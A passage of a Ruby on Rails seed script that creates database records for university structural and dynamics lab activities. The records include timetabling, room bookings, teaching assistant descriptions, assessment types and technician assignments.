$resit_low.id)\n ActivityGta.where(activity_id: a63.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a63.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a63.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a63.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a64 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"218\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 3)\n at64 = ActivityTimetable.where(activity_id: a64.id).first_or_create!(duration: nil, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at64.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a64.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a64.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of elastic instability of struts.\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a64.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityProgramme.where(activity_id: a64.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a65 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"Shear\", archived: false, in_drive: true, user_id: 1)\n at65 = ActivityTimetable.where(activity_id: a65.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at65.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a65.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Lo6Fyd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a65.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a65.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a65.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a65.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a66 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"219\").first_or_create!(name: \"Joint testing\",\n name_abrv: \"JOINTS\", archived: false, in_drive: false, user_id: 1)\n at66 = ActivityTimetable.where(activity_id: a66.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a66.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/V7kcA5\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a66.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a66.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a66.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a66.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a67 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV150\").first.id, code: \"220\").first_or_create!(name: \"Direct Shear Test\",\n name_abrv: \"SHEREBOX\", archived: false, in_drive: false, user_id: 2)\n at67 = ActivityTimetable.where(activity_id: a67.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at67.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a67.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/iRpLZu\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a67.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a67.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a67.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a67.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a68 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"221\").first_or_create!(name: \"Stability\",\n name_abrv: \"STABILITY\", archived: false, in_drive: false, user_id: 1)\n at68 = ActivityTimetable.where(activity_id: a68.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a68.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/XN4C9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a68.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a68.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a68.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a68.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a69 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 3)\n at69 = ActivityTimetable.where(activity_id: a69.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at69.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a69.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a69.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a69.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a69.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a69.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a70 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 5)\n at70 = ActivityTimetable.where(activity_id: a70.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at70.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a70.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a70.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a70.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a70.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a70.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a71 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beam\",\n name_abrv: \"VIBBEAM\", archived: true, in_drive: false, user_id: 5)\n at71 = ActivityTimetable.where(activity_id: a71.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at71.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a71.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/nTh2oR\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a71.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a71.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a71.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a71.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a72 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 2)\n at72 = ActivityTimetable.where(activity_id: a72.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at72.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a72.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a72.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a72.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a72.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a72.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a73 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 4)\n at73 = ActivityTimetable.where(activity_id: a73.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at73.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a73.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a73.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a73.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a73.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a73.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a74 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"223\").first_or_create!(name: \"Paper Column\",\n name_abrv: \"PAPER\", archived: false, in_drive: true, user_id: 3)\n at74 = ActivityTimetable.where(activity_id: a74.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at74.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a74.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a74.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a74.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a74.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a74.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a75 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"224\").first_or_create!(name: \"PASCO Bridge\",\n name_abrv: \"PASCO\", archived: false, in_drive: true, user_id: 2)\n at75 = ActivityTimetable.where(activity_id: a75.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"After Paper Column\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a75.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a75.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a75.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a75.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a75.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a76 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"225\").first_or_create!(name: \"Bridge Design\",\n name_abrv: \"BRIDGE DSG\", archived: false, in_drive: false, user_id: 3)\n at76 = ActivityTimetable.where(activity_id: a76.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"After PASCO bridge\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a76.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a76.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a76.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a76.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a76.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a77 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"226\").first_or_create!(name: \"Bridge Test\",\n name_abrv: \"BRIDGE TST\", archived: false, in_drive: false, user_id: 3)\n at77 = ActivityTimetable.where(activity_id: a77.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 480, takedown_time: 480, notes: \"After Bridge Building\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a77.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a77.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a77.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a77.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a77.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a78 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: false, user_id: 1)\n at78 = ActivityTimetable.where(activity_id: a78.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a78.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a78.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a78.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a78.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a78.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a79 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: true, user_id: 1)\n at79 = ActivityTimetable.where(activity_id: a79.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a79.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a79.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a79.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a79.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a79.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a80 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"228\").first_or_create!(name: \"Welded Coupons\",\n name_abrv: \"COUP\", archived: false, in_drive: false, user_id: 3)\n at80 = ActivityTimetable.where(activity_id: a80.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a80.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a80.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a80.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a80.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a80.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a81 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"229\").first_or_create!(name: \"Moving Hinge\",\n name_abrv: \"Moving Hinge\", archived: false, in_drive: true, user_id: 5)\n at81 = ActivityTimetable.where(activity_id: a81.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a81.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a81.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a81.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a81.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a81.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a82 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"230\").first_or_create!(name: \"Welded Components\",\n name_abrv: \"COMP\", archived: false, in_drive: true, user_id: 5)\n at82 = ActivityTimetable.where(activity_id: a82.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a82.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a82.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a82.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a82.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a82.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a83 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"231\").first_or_create!(name: \"Cantilever Truss - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at83 = ActivityTimetable.where(activity_id: a83.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at83.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a83.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: 